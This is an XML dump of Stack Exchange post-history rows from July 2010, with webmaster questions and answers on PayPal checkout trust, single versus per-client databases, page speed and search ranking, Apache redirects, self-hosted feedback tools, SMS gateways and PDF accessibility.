  <row Id="2747" PostHistoryTypeId="1" PostId="1513" RevisionGUID="9b117685-b491-494c-ba5a-443b80043011" CreationDate="2010-07-23T10:24:03.223" UserId="407" Text="How confident are buyers about paying via PayPal as opposed to integrated solutions?" />
  <row Id="2748" PostHistoryTypeId="3" PostId="1513" RevisionGUID="9b117685-b491-494c-ba5a-443b80043011" CreationDate="2010-07-23T10:24:03.223" UserId="407" Text="&lt;payments&gt;&lt;paypal&gt;&lt;checkout&gt;&lt;shopping-cart&gt;" />
  <row Id="2749" PostHistoryTypeId="2" PostId="1514" RevisionGUID="d8c54b3c-065b-4b36-ada1-1e9eebde0a11" CreationDate="2010-07-23T10:42:28.523" UserId="991" Text="I've built this web app (php &amp; mysql) which stores information for various organisations (about 20 clients currently).&#xD;&#xA;&#xD;&#xA;The current scenario stores client-related information in individual databases, so there's 20 client databases and 1 master database.&#xD;&#xA;&#xD;&#xA;One of the main advantages here is that as each client db is isolated, the numbering of client artifacts (reports, audits) etc. is sequenced; giving our clients a feeling of security.&#xD;&#xA;&#xD;&#xA;Each DB has roughly 15 tables, and the most rows in a table are about 2000. This is expected to be bumped upto 5000 records, at most.&#xD;&#xA;&#xD;&#xA;Managing a single db-level change means changing 20 databases, but in the rare event that I need to make such a change, I use a script that does this in a single function call.&#xD;&#xA;&#xD;&#xA;We're on a shared hosting arrangement, and our ISP supplies us with a limited no. of databases; and that's what led me to think in terms of centralising the database; so that ALL the client data can be stored in the master database.&#xD;&#xA;&#xD;&#xA;Of course, some important issues that crop up are:&#xD;&#xA;&#xD;&#xA;a. Maintaining the artifact sequence, (this could be addressed by creating an additional reference key)&#xD;&#xA;b. Speed and performance (in which case I can create indexes to speed things up)&#xD;&#xA;c. Security: This will be managed as each query that fetches client info. will also track their client_id&#xD;&#xA;&#xD;&#xA;In the future, we might need to consider comparing datasets of one organisation with another, but I believe that can be achieved on a centralised db too.&#xD;&#xA;I'm somewhat inclined (for performance and maintainability reasons) to move to a centralised database.&#xD;&#xA;&#xD;&#xA;Do you think moving to a centralised database makes more sense than staying as we are (on individual databases)? &#xD;&#xA;&#xD;&#xA;Thanks for your advice." />
  <row Id="2750" PostHistoryTypeId="1" PostId="1514" RevisionGUID="d8c54b3c-065b-4b36-ada1-1e9eebde0a11" CreationDate="2010-07-23T10:42:28.523" UserId="991" Text="Single V/s Multiple Databases" />
  <row Id="2751" PostHistoryTypeId="3" PostId="1514" RevisionGUID="d8c54b3c-065b-4b36-ada1-1e9eebde0a11" CreationDate="2010-07-23T10:42:28.523" UserId="991" Text="&lt;database&gt;&lt;mysql&gt;&lt;php&gt;" />
  <row Id="2752" PostHistoryTypeId="2" PostId="1515" RevisionGUID="b6e34388-4d08-4b39-8a37-7d6f7dca3a08" CreationDate="2010-07-23T10:50:34.770" UserId="288" Text="I'd have separate database for separate clients. A client might demand this for security reasons - i.e. only their site has access to their data. It also means that if a client want to move their data then it's going to be *much* easier to manage.&#xD;&#xA;&#xD;&#xA;It also means that if there is a problem with one client's database it doesn't affect all of the others.&#xD;&#xA;&#xD;&#xA;If you want to compare data between clients then you should do that separately.&#xD;&#xA;&#xD;&#xA;If you are running out of databases that you can have then perhaps you should be considering changing your host provider." />
  <row Id="2753" PostHistoryTypeId="2" PostId="1516" RevisionGUID="959340a4-3507-4b82-afd6-accdc1b1c915" CreationDate="2010-07-23T12:57:17.393" UserId="219" Text="[Articles like this one][1] discuss Google possibly taking speed into account for ranking factors. &#xD;&#xA;&#xD;&#xA;Are there any other search engines which already take speed into account for search results? or perhaps a labs version of Google that takes it into account?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webpronews.com/topnews/2009/11/13/google-page-speed-may-be-a-ranking-factor-in-2010" />
  <row Id="2754" PostHistoryTypeId="1" PostId="1516" RevisionGUID="959340a4-3507-4b82-afd6-accdc1b1c915" CreationDate="2010-07-23T12:57:17.393" UserId="219" Text="Page speed affecting ranking in practice" />
  <row Id="2755" PostHistoryTypeId="3" PostId="1516" RevisionGUID="959340a4-3507-4b82-afd6-accdc1b1c915" CreationDate="2010-07-23T12:57:17.393" UserId="219" Text="&lt;search-engines&gt;&lt;speed&gt;" />
  <row Id="2756" PostHistoryTypeId="2" PostId="1517" RevisionGUID="f98ad960-1d0d-466d-9e54-df8bc0663c63" CreationDate="2010-07-23T13:14:12.460" UserId="108" Text="I have looked around a lot myself for this answer and if Bing or Yahoo does take it into account then they have not release to the public that they do.&#xD;&#xA;&#xD;&#xA;Also, take a look at http://www.free-seo-news.com/newsletter416.htm.  Google has stated that adding in page speed will change less than 1% of search results.&#xD;&#xA;&#xD;&#xA;Google uses over 200 criteria to return results for pages.  Page speed is probably one of the most minor.&#xD;&#xA;&#xD;&#xA;In general you will lose more visitors because your page is to slow and people will leave, rather than Google reducing your ranking because of how slow your site is." />
  <row Id="2757" PostHistoryTypeId="2" PostId="1518" RevisionGUID="26abea40-edcd-4aee-a31b-b4ad3c880ac4" CreationDate="2010-07-23T13:17:13.047" UserId="210" Text="[Google does now take page speed][1] as a factor in it's ranking. But as Matt Cutts said, it's only [1 of 200 factors][2], so they don't recommend spending a lot of time on this just for search engines, but you should instead focus on making the site fast for the user because you will keep more visitors this way.&#xD;&#xA;&#xD;&#xA;I don't know if other search engines include this in their ranking, although Yahoo has [YSlow][3] so it wouldn't surprise me if they also included it as a factor.&#xD;&#xA;&#xD;&#xA;Also, check out Google's web master tools which has a [graph and other information][4] about a sites speed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html&#xD;&#xA;  [2]: http://www.mattcutts.com/blog/site-speed/&#xD;&#xA;  [3]: http://developer.yahoo.com/yslow/&#xD;&#xA;  [4]: http://googlewebmastercentral.blogspot.com/2009/12/your-sites-performance-in-webmaster.html" />
  <row Id="2758" PostHistoryTypeId="10" PostId="1492" RevisionGUID="5654356d-a801-47e4-af7f-9a0608d0f689" CreationDate="2010-07-23T13:18:29.953" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:233,&quot;DisplayName&quot;:&quot;DisgruntledGoat&quot;},{&quot;Id&quot;:179,&quot;DisplayName&quot;:&quot;Bryson&quot;},{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;},{&quot;Id&quot;:155,&quot;DisplayName&quot;:&quot;Kinopiko&quot;},{&quot;Id&quot;:26,&quot;DisplayName&quot;:&quot;artlung&quot;}]" />
  <row Id="2759" PostHistoryTypeId="2" PostId="1519" RevisionGUID="09985fd7-67eb-4ce7-b0e0-67acf9e3f9ca" CreationDate="2010-07-23T13:31:57.363" UserId="108" Text="Check out some general marketing data on what people do and don't like to give when purchasing online [here][1].&#xD;&#xA;&#xD;&#xA;As for my own opinion I think Paypal can deter some purchasers and the % seems to go up as the dollar value of the items go up.&#xD;&#xA;&#xD;&#xA;I think no matter what site you are and what payment method you use, people leave online shopping carts all the time.  It isn't like a brick and mortar store where you feel compelled to buy it once you put it in your cart.  Many people use the shopping cart as a way to do research on what they want.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.marketingcharts.com/direct/security-payment-choice-vital-to-online-purchase-decisions-3732/jupiterresearch-paypal-confidence-convenience-choice-jan08jpg/" />
  <row Id="2760" PostHistoryTypeId="2" PostId="1520" RevisionGUID="3adfa705-19d1-4a4f-aa18-f7aeae71ccd9" CreationDate="2010-07-23T13:33:43.537" UserId="210" Text="Here's my take on the issue, although I don't have any firm evidence.&#xD;&#xA;&#xD;&#xA;I don't think there is actually mistrust with PayPal, but instead confusion as to how PayPal works. Most people don't want to give their credit card number to a company for them to store (although they don't realize this is partially what you're doing with any other company). People *may* think that setting up an account on PayPal gives your company access to charge them at any time. So instead they just want to enter their credit card and billing info without having it stored by PayPal. The problem here is that most people won't see the credit card and billing fields when they arrive at PayPal (for a number of reasons) so they have to instead click the small continue link to pay without a PayPal account.&#xD;&#xA;&#xD;&#xA;I also think the second half of the issue is that people are going to a different site, which can be confusing. With most integrated solutions, they will never know unless they watch their address bar closely that they went to a different site as you can customize the payment page or you actually take the credit card on your site.&#xD;&#xA;&#xD;&#xA;Lastly, I think it's just a general problem, if you want to call it a problem: People create thousands of carts every day to check what things will cost. For me in the past, the biggest reason for doing this has been to find out shipping costs. Many companies have so many options and such a complicated calculation to figure out shipping rates, that it's impossible for a customer to figure it out without creating a cart and then abandoning it. Having said this, you may want to look at other reasons why people are abandoning carts, such as:&#xD;&#xA;&#xD;&#xA; - shipping rates&#xD;&#xA; - tax calculations (maybe wrong or people aren't where you are so they don't want to pay your tax)&#xD;&#xA; - prices for your products (are they dramatically different than other similar products, either higher or lower)&#xD;&#xA; - number of steps it takes to complete the process (try to keep it to as few as possible, at least in my experience this increases sales)&#xD;&#xA; - is the cart complicated or confusing (ask those without computer/internet/online shipping experience)&#xD;&#xA;&#xD;&#xA;I personally like giving multiple payment options with PayPal being one of them. There are those that really like PayPal and don't like the idea of entering their credit card many times or just want to pay with through the bank account." />
  <row Id="2761" PostHistoryTypeId="2" PostId="1521" RevisionGUID="8a575771-815c-4524-b420-f5d7218abd54" CreationDate="2010-07-23T13:38:23.243" UserId="210" Text="The only reason I wouldn't have an individual database for each client is if you're going to have 100s or 1000s of clients/databases. This could get really hairy to manage including making database changes or doing something across all databases. Actions that occur across large numbers of multiple databases could also be slow as you need to open (and therefore close) so many tables.&#xD;&#xA;&#xD;&#xA;But aside from this case, I think multiple databases is better." />
  <row Id="2762" PostHistoryTypeId="2" PostId="1522" RevisionGUID="59e23183-6fbe-4569-9f00-3dc91857830b" CreationDate="2010-07-23T13:54:54.500" UserId="108" Text="There are inherit risks and rewards to both system.  I worked for a financial firm that supported roughly 40 clients (national banks) on 1 database.  We then purchased another company that sold similar software and that had gone with 1 database per client.  Finally, the company went bankrupt and we did have to export all user data. Here is what the people I worked with and I found:&#xD;&#xA;&#xD;&#xA;Pro's of Single DB:&#xD;&#xA;&#xD;&#xA; 1. Software updates and bug fixes are easier.&#xD;&#xA; 2. Easy to manage and report on all client data.&#xD;&#xA; 3. Updating data becomes easier.&#xD;&#xA; 4. Easy to create modular functionality that 1 client wants, turn if off for the other clients, and then turn it one when they desire it in the future.&#xD;&#xA;&#xD;&#xA;Con's of Single DB:&#xD;&#xA;&#xD;&#xA; 1. Data integrity - We had 2 or 3 cases where 1 bank's users saw another bank's data.  This was a nightmare.  Especially because the site users were not just the bank employees but actual account holding customers of the bank!  This is by far the biggest issue with 1 database&#xD;&#xA; 2. Exporting client data -When we had to this it usually wasn't a big deal.  You end up with 1 table that has all of the clients in it and you key off of that table to get your client specific data.&#xD;&#xA;&#xD;&#xA;Pro's of Multiple DBs:&#xD;&#xA;&#xD;&#xA; 1. There is no concern of cross client data contamination or breaches&#xD;&#xA; 2. Exporting a clients data is dead easy. &#xD;&#xA;&#xD;&#xA;Con's of Multiple DBs:&#xD;&#xA;&#xD;&#xA; 1. Updates and bug fixes - This was the real nightmare.  When you have 20 clients on 20 different databases you quickly run into a the case where 1 client wants a bug fixed and another thinks the bug is a feature or doesn't want to risk the update.  Furthermore, you will have instances where 1 client wants a game changing enhancement but the other clients don't.  When this happens you databases will start to diverge.  Suddenly you will have to update clients 1-15 with 1 script 16-19 with another, and 20 with a third.  We saw this become such an issue that a bug fix would take 15 to 20 times as long for the company we purchased than for us because they had to run all tests for every client and deal with each clients special code.  Effectively, they needed a new support person for every new client, whereas the parent company needed one for every 5 to 10 clients.&#xD;&#xA; 2. DB management - When you get to a large number of clients managing all of the databases becomes a real hassle.  You will without a doubt need more DBA time to manage them.&#xD;&#xA;&#xD;&#xA;In the end my recommendation having seen and done both is to have &quot;discipline&quot;!  I think the multi-db choice is slightly better because it protects you but you cannot ever let you clients make a choice that causes you to add functionality to only them or you will be putting yourself on a path to failure.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2763" PostHistoryTypeId="5" PostId="1521" RevisionGUID="12653804-cdd6-4547-8bf9-0ea0d223b768" CreationDate="2010-07-23T14:18:20.730" UserId="210" Comment="added 368 characters in body" Text="The only reason I wouldn't have an individual database for each client is if you're going to have 100s or 1000s of clients/databases. This could get really hairy to manage including making database changes or doing something across all databases. Actions that occur across large numbers of multiple databases could also be slow as you need to open (and therefore close) so many tables.&#xD;&#xA;&#xD;&#xA;But aside from this case, I think multiple databases is better.&#xD;&#xA;&#xD;&#xA;One advantage, which may not be important but can be useful, is that each client gets their own sequential IDs (instead of possibly skipping a bunch because another client(s) added records).&#xD;&#xA;&#xD;&#xA;Also, multiple databases allows for the sub tables (like phone type) to be easily customizable per client without the need for a parent record id in these tables as well." />
  <row Id="2764" PostHistoryTypeId="2" PostId="1523" RevisionGUID="79d8baa3-9156-4418-8922-f81fc5d1b803" CreationDate="2010-07-23T14:45:35.877" UserId="221" Text="As has been noted, this can not be done entirely with DNS. However, if you have the DNS for example.com refer to the same server as test.com it is very simple to configure Apache to accomplish what you wish to do. Just add the following:&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;      ServerName example.com&#xD;&#xA;      Redirect permanent / http://test.com/&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;This will rewrite any incoming link to example.com to a link for test.com, preserving the path.&#xD;&#xA;&#xD;&#xA;Furthermore, your DNS provider does not need to host any files for you as this only relies on the web server you are already running for test.com.&#xD;&#xA;" />
  <row Id="2765" PostHistoryTypeId="2" PostId="1524" RevisionGUID="f64ccfd3-b0f5-45fa-a7ff-1696af5c09f2" CreationDate="2010-07-23T15:01:14.310" UserId="55" Text="In the early days of Stack Overflow, [Uservoice][1] was used to get feedback, bug reports and feature requests from the community. While SO did out grow Uservoice, many sites would not.&#xD;&#xA;&#xD;&#xA;I'd like to use a system very much like Uservoice for a site that I am launching. The problem is, I really prefer to host all moving parts myself.&#xD;&#xA;&#xD;&#xA;I don't care if its free or proprietary, I just need something that will work on a typical Linux server.&#xD;&#xA;&#xD;&#xA;Can anyone suggest something?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://uservoice.com/" />
  <row Id="2766" PostHistoryTypeId="1" PostId="1524" RevisionGUID="f64ccfd3-b0f5-45fa-a7ff-1696af5c09f2" CreationDate="2010-07-23T15:01:14.310" UserId="55" Text="Is there a self hosted solution similar to Uservoice?" />
  <row Id="2767" PostHistoryTypeId="3" PostId="1524" RevisionGUID="f64ccfd3-b0f5-45fa-a7ff-1696af5c09f2" CreationDate="2010-07-23T15:01:14.310" UserId="55" Text="&lt;user-engagement&gt;" />
  <row Id="2768" PostHistoryTypeId="2" PostId="1525" RevisionGUID="d0d27916-12c9-4f7b-aa5a-26ec3ff88253" CreationDate="2010-07-23T15:23:22.763" UserId="55" Text="There is a relatively new service called [OpenHatch][1] which aims to help projects get some publicity.&#xD;&#xA;&#xD;&#xA;The focus is mostly on getting more eyeballs on bug trackers, but its still good exposure.&#xD;&#xA;&#xD;&#xA;Having your project tracked by [Ohloh][2] is also not a bad idea.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://openhatch.org/&#xD;&#xA;  [2]: http://ohloh.net" />
  <row Id="2769" PostHistoryTypeId="5" PostId="1525" RevisionGUID="4a263487-e989-407b-966b-7853f14eda38" CreationDate="2010-07-23T15:28:27.510" UserId="55" Comment="added 627 characters in body; added 165 characters in body" Text="There is a relatively new service called [OpenHatch][1] which aims to help projects get some publicity.&#xD;&#xA;&#xD;&#xA;The focus is mostly on getting more eyeballs on bug trackers, but its still good exposure.&#xD;&#xA;&#xD;&#xA;Having your project tracked by [Ohloh][2] is also not a bad idea.&#xD;&#xA;&#xD;&#xA;Nothing (imho) is better than blog posts that **you** write telling the world how much fun you are having working on your new project, how excited you are and (very specifically) what problems you are solving by writing another framework.&#xD;&#xA;&#xD;&#xA;Just like anything else, you have to work a bit to promote it. Give it some space in your signature on forums. Don't be afraid to suggest that others try it.&#xD;&#xA;&#xD;&#xA;Finally, make sure to put up a proper (even if small) web site for your project. Its frustrating when people &quot;just&quot; host at github with a one line description of the project and no feature lists / about / roadmap / etc.&#xD;&#xA;&#xD;&#xA;I've never had a free/open source project ***not*** attract at least a few people, usually more. As long as its actively developed, I'm sure people will find you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://openhatch.org/&#xD;&#xA;  [2]: http://ohloh.net" />
  <row Id="2770" PostHistoryTypeId="2" PostId="1526" RevisionGUID="43fffcc2-ea31-40bf-b733-1f31e6212bcc" CreationDate="2010-07-23T15:39:07.773" UserId="55" Text="Here is the exact `.htaccess` rule that I use to redirect all requests from www.mydomain.com to mydomain.com (since the shorter is my canonical URL):&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.mydomain\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://mydomain.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;That's easy enough to modify to redirect from `foo.com` to `foobar.com`, while preserving the request, the client just gets a 301 redirect to the appropriate domain.&#xD;&#xA;&#xD;&#xA;You can't however do this 'just' with DNS, as others have said, DNS servers just resolve FQDN's to IP addresses." />
  <row Id="2771" PostHistoryTypeId="2" PostId="1527" RevisionGUID="7c600a28-45c8-4859-93c9-1b33ffaeed69" CreationDate="2010-07-23T15:40:37.010" UserId="108" Text="According to [VentureBeats][1], Uservoice has 3 main competitors still running.  They are [CrowdSound][2], [GetSatisfaction][3], and [FeedbackFX][4].  Unfortunately, they all use the SaaS model as well so they won't solve you problem.&#xD;&#xA;&#xD;&#xA;A quick look on [sourceforge][5] and I found that there were 2 project but neither of them have been started. &#xD;&#xA;&#xD;&#xA;I looked on [codeplex][6] and I found that there is a project to add Feedback to DotNetNuke, here http://dnnfeedback.codeplex.com/.  This might do what you want but it would probably only work on Linux if you have Mono installed.&#xD;&#xA;&#xD;&#xA;Having looked into this, I think your best bet is to either use one of the tools like Uservoice or one of their competitors.  Also note, CrowdSound lets you tightly integrate their Saas by using their modules within your site.  Or you will need to write you own code.&#xD;&#xA;&#xD;&#xA;Finally, ask yourself what value are you getting from hosting it yourself?  Will it easier to do your work or will it keep your data private.  If not then maybe hosting it yourself doesn't have a ton of value.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://venturebeatprofiles.com/company/profile/uservoice/competitors&#xD;&#xA;  [2]: http://crowdsound.com/&#xD;&#xA;  [3]: http://getsatisfaction.com/&#xD;&#xA;  [4]: http://www.feedbackfx.com/&#xD;&#xA;  [5]: http://sourceforge.net/&#xD;&#xA;  [6]: http://www.codeplex.com/" />
  <row Id="2772" PostHistoryTypeId="2" PostId="1528" RevisionGUID="24ab8e00-99a8-4456-a9da-326c67453474" CreationDate="2010-07-23T15:40:37.727" UserId="914" Text="I've written such a two ways SMS system using Vidicom UK as the SMS provider (not sure if they are still going). Basically they have an HTTP based API where you can send and receive SMS messages. It's too complex to explain in detail, but in essence I had two database tables, one for incoming messages received from the gateway and another one for outgoing messages that are queued and then sent on to the gateway.&#xD;&#xA;&#xD;&#xA;I basically then had to parse the incoming messages to see if they contained keywords such as CANCEL or STOP and then process the message accordingly. Unfortunately, you get a lot of garbage messages - you'd be surprised how many people send SMS messages to the wrong number - so you have to respond back saying &quot;Message not understood&quot; etc." />
  <row Id="2773" PostHistoryTypeId="16" PostId="1528" RevisionGUID="24ab8e00-99a8-4456-a9da-326c67453474" CreationDate="2010-07-23T15:40:37.727" UserId="-1" />
  <row Id="2774" PostHistoryTypeId="5" PostId="1421" RevisionGUID="b2985107-21b2-44df-9a6d-f7a7ea867fdd" CreationDate="2010-07-23T15:41:36.417" UserId="108" Comment="Added http://sharesource.org" Text="There are 4 that I know of that let you host open source code:&#xD;&#xA;&#xD;&#xA; 1. http://bitbucket.org/ &#xD;&#xA; 2. http://github.com/ &#xD;&#xA; 3. http://www.codeplex.com/&#xD;&#xA; 4. http://sourceforge.net/&#xD;&#xA;&#xD;&#xA;These sites serve both as a place to host your code and as a way to advertise because they get so much traffic and you can include documentation which will make you show up more often in SEO results.&#xD;&#xA;&#xD;&#xA;Also, checkout these sites for pure advertising:&#xD;&#xA;&#xD;&#xA; - http://freshmeat.net/&#xD;&#xA; - http://openshare.emotionull.com/&#xD;&#xA; - http://sharesource.org&#xD;&#xA;&#xD;&#xA; " />
  <row Id="2775" PostHistoryTypeId="2" PostId="1529" RevisionGUID="0f907766-7520-417c-967c-e5cd8e17d2af" CreationDate="2010-07-23T15:52:31.013" UserId="536" Text="My company creates (and hosts) sites for many different clients. We allow clients to send us tracking code, including Google Analytics, and we put them on the page.&#xD;&#xA;&#xD;&#xA;We would also like to include our own Google Analytics code for internal tracking.&#xD;&#xA;&#xD;&#xA;When we first investigated this issue a couple years ago, Google warned about including multiple bits of GA tracking code on the same page due to cookie conflicts.&#xD;&#xA;&#xD;&#xA;Has this changed? Is it now safe to include multiple copies with different accounts?" />
  <row Id="2776" PostHistoryTypeId="1" PostId="1529" RevisionGUID="0f907766-7520-417c-967c-e5cd8e17d2af" CreationDate="2010-07-23T15:52:31.013" UserId="536" Text="Multiple google analytics instances on a page?" />
  <row Id="2777" PostHistoryTypeId="3" PostId="1529" RevisionGUID="0f907766-7520-417c-967c-e5cd8e17d2af" CreationDate="2010-07-23T15:52:31.013" UserId="536" Text="&lt;javascript&gt;&lt;google-analytics&gt;&lt;cookie&gt;" />
  <row Id="2778" PostHistoryTypeId="2" PostId="1530" RevisionGUID="1cff0ad6-cc2b-44fe-8a70-214513790485" CreationDate="2010-07-23T15:56:45.147" UserId="48" Text="First the artifact sequencing. I assume you are using integer primary keys to provide this. Really you should have a separate &quot;artifact number&quot; column. PK's should be PK's and nothing else. People talk about &quot;natural keys&quot; and the like and I cringe. Whenever you rely on the PK to be more than an identifier it comes back to bite you. If you want to know the sequence of something store a date or a sequence number.&#xD;&#xA;&#xD;&#xA;I think in your case configuration management would drive you to a single database. Look at what it costs you in time to maintain and upgrade databases. What costs are associated with each release of the software? Also think about the cost when you get a new customer and have to create a DB and configure the app for it. Anything can be automated, the question is, will it be worth it when you have 100 databases?&#xD;&#xA;&#xD;&#xA;Down the road, it is easier to scale (partitioning, hardware, sharding etc.) a single database than it is to do the same for 100 databases.&#xD;&#xA;&#xD;&#xA;I think the other posters have made some excellent points so I wont go over those." />
  <row Id="2779" PostHistoryTypeId="5" PostId="138" RevisionGUID="1d2a5adf-02ea-4902-832a-077c1ed28939" CreationDate="2010-07-23T15:56:58.157" UserId="36" Comment="added 1 characters in body" Text="It completely depends on your user base.  In my line of work we support local councils so we have to maintain IE6 support as their computers are generally out of date and won't be upgraded for some time. If you are developing for a cutting edge audience however, then IE6 support will be less necessary.&#xD;&#xA;&#xD;&#xA;It is advised to make the website usable in IE6 by letting it degrade certain &quot;unsupported&quot; features gracefully. Just remember, dropping IE6 support **will** affect someone out there... it just depends whether you care or not. " />
  <row Id="2780" PostHistoryTypeId="5" PostId="1421" RevisionGUID="c3536f0b-9e23-4177-9860-124b58d02bc8" CreationDate="2010-07-23T16:32:20.343" UserId="108" Comment="added 28 characters in body" Text="There are 4 that I know of that let you host open source code:&#xD;&#xA;&#xD;&#xA; 1. http://bitbucket.org/ &#xD;&#xA; 2. http://github.com/ &#xD;&#xA; 3. http://www.codeplex.com/&#xD;&#xA; 4. http://sourceforge.net/&#xD;&#xA; 5. http://sharesource.org&#xD;&#xA;&#xD;&#xA;These sites serve both as a place to host your code and as a way to advertise because they get so much traffic and you can include documentation which will make you show up more often in SEO results.&#xD;&#xA;&#xD;&#xA;Also, checkout these sites for pure advertising:&#xD;&#xA;&#xD;&#xA; - http://freshmeat.net/&#xD;&#xA; - http://openshare.emotionull.com/&#xD;&#xA; - http://sharesource.org&#xD;&#xA;&#xD;&#xA; " />
  <row Id="2781" PostHistoryTypeId="5" PostId="1524" RevisionGUID="3f159e8a-181d-480d-8f97-dafaae628048" CreationDate="2010-07-23T16:54:30.210" UserId="55" Comment="added 415 characters in body; added 1 characters in body" Text="In the early days of Stack Overflow, [Uservoice][1] was used to get feedback, bug reports and feature requests from the community. While SO did out grow Uservoice, many sites would not.&#xD;&#xA;&#xD;&#xA;I'd like to use a system very much like Uservoice for a site that I am launching. The problem is, I really prefer to host all moving parts myself.&#xD;&#xA;&#xD;&#xA;I don't care if its free or proprietary, I just need something that will work on a typical Linux server.&#xD;&#xA;&#xD;&#xA;Can anyone suggest something?&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;I want something self hosted because:&#xD;&#xA;&#xD;&#xA; - Privacy is a major concern for my users&#xD;&#xA; - I'd like to `programmatically` reward participation on the 'uservoice' with rewards on the actual site (ideally, that's just a few queries away)&#xD;&#xA; - I'd like to be able to change the 'rules' on the 'uservoice' site if needed, but its not a major requirement.&#xD;&#xA; - I trust my own backups more than anyone else's :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://uservoice.com/" />
  <row Id="2782" PostHistoryTypeId="2" PostId="1531" RevisionGUID="47b8962b-8d7c-4cc6-88a7-e163dea85fa3" CreationDate="2010-07-23T17:21:07.793" UserId="105" Text="Other two options I've considered in the past:&#xD;&#xA;&#xD;&#xA;[Skype API][1]  &#xD;&#xA;Send and receive SMS using new Skype API.&#xD;&#xA;I guess Twilio is cheaper, but Skype is available in more countries (if you want to receive SMSs)&#xD;&#xA;&#xD;&#xA;**Plug a phone to your server**  &#xD;&#xA;If you live in a country (like Argentina) where SMS gateway companies charge a lot, you may find it cheaper to buy a phone and plug it to your server (depending on your hosting enviroment, of course). Then you can use a software like [SMSToolkit][2] to interact with the phone.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.skype.com/&#xD;&#xA;  [2]: http://smstoolkit.codeplex.com/" />
  <row Id="2783" PostHistoryTypeId="16" PostId="1531" RevisionGUID="47b8962b-8d7c-4cc6-88a7-e163dea85fa3" CreationDate="2010-07-23T17:21:07.793" UserId="-1" />
  <row Id="2784" PostHistoryTypeId="2" PostId="1532" RevisionGUID="cb775cbb-272b-45a4-be8c-3de40aa7874c" CreationDate="2010-07-23T17:42:04.407" UserId="999" Text="I have a subscription service that people pay monthly for, so I’ve setup a “Virtual Product” with a Recurring Profile. At the same time, I want to have it so they can add different one time products. To accomplish this I’ve tried creating a “Bundled Product” with all the different one time products and adding the “Virtual Product” to that “Bundled Product”.&#xD;&#xA;&#xD;&#xA;However, when I go to checkout it says “Nominal item can be purchased standalone only. To proceed please remove other items from the quote.” How do I allow people to subscribe to the service and purchase the products at the same time?&#xD;&#xA;&#xD;&#xA;**note: I am using Paypal Website Payment Pro as my merchant account." />
  <row Id="2785" PostHistoryTypeId="1" PostId="1532" RevisionGUID="cb775cbb-272b-45a4-be8c-3de40aa7874c" CreationDate="2010-07-23T17:42:04.407" UserId="999" Text="Recurring Profile and Bundled Item (Magento)" />
  <row Id="2786" PostHistoryTypeId="3" PostId="1532" RevisionGUID="cb775cbb-272b-45a4-be8c-3de40aa7874c" CreationDate="2010-07-23T17:42:04.407" UserId="999" Text="&lt;ecommerce&gt;&lt;payments&gt;&lt;paypal&gt;&lt;shopping-cart&gt;&lt;checkout&gt;" />
  <row Id="2787" PostHistoryTypeId="2" PostId="1533" RevisionGUID="67efcd6e-d846-491b-bd57-85389682036f" CreationDate="2010-07-23T18:30:26.510" UserId="110" Text="Just like making a website compliant can't hurt with your SEO, making your PDF accessible can't hurt.  The Adobe built-in accessibility checker is far from perfect, but at least fixing those areas will get you started.&#xD;&#xA;&#xD;&#xA;I probably spend 5 minutes on each 4 or 5, mostly text PDFs we put online.  The time goes up evenly depending on the number of pages, and how complex those pages are.&#xD;&#xA;&#xD;&#xA;Assuming you have Adobe Acrobat Pro to do your editing:&#xD;&#xA;&#xD;&#xA; - Run an Accessibility Full Check.  (Quick check is pretty pointless to me)&#xD;&#xA; - Update the meta information in the document properties (keywords, subject, language, etc)&#xD;&#xA; - Make sure tags are added&#xD;&#xA; - Make sure the text is tagged as text, images as images, background stuff as background&#xD;&#xA; - Tag useless fluff (like decoration or design) as background&#xD;&#xA; - Add good alt text to the images&#xD;&#xA; - Make sure in the reading order, the text is ordered properly&#xD;&#xA; - In the content toolbar, make sure the text isn't duplicated or grossly mistranslated&#xD;&#xA; - Use the OCR scanner on scanned pages&#xD;&#xA;&#xD;&#xA;For more advanced editing like tables and really oddball Adobe errors, we use a plugin called CommonLook.  CommonLook gets the job done, but I hate it almost as much as I hate the Adobe tools.&#xD;&#xA;&#xD;&#xA;Get familiar with the Touch Up Reading Order tool, the Tags toolbar, the Reading Order toolbar and the Content toolbar.  My job requires fully compliant documents before going out on the web, but anybody could benefit from some simple tagging and document properties." />
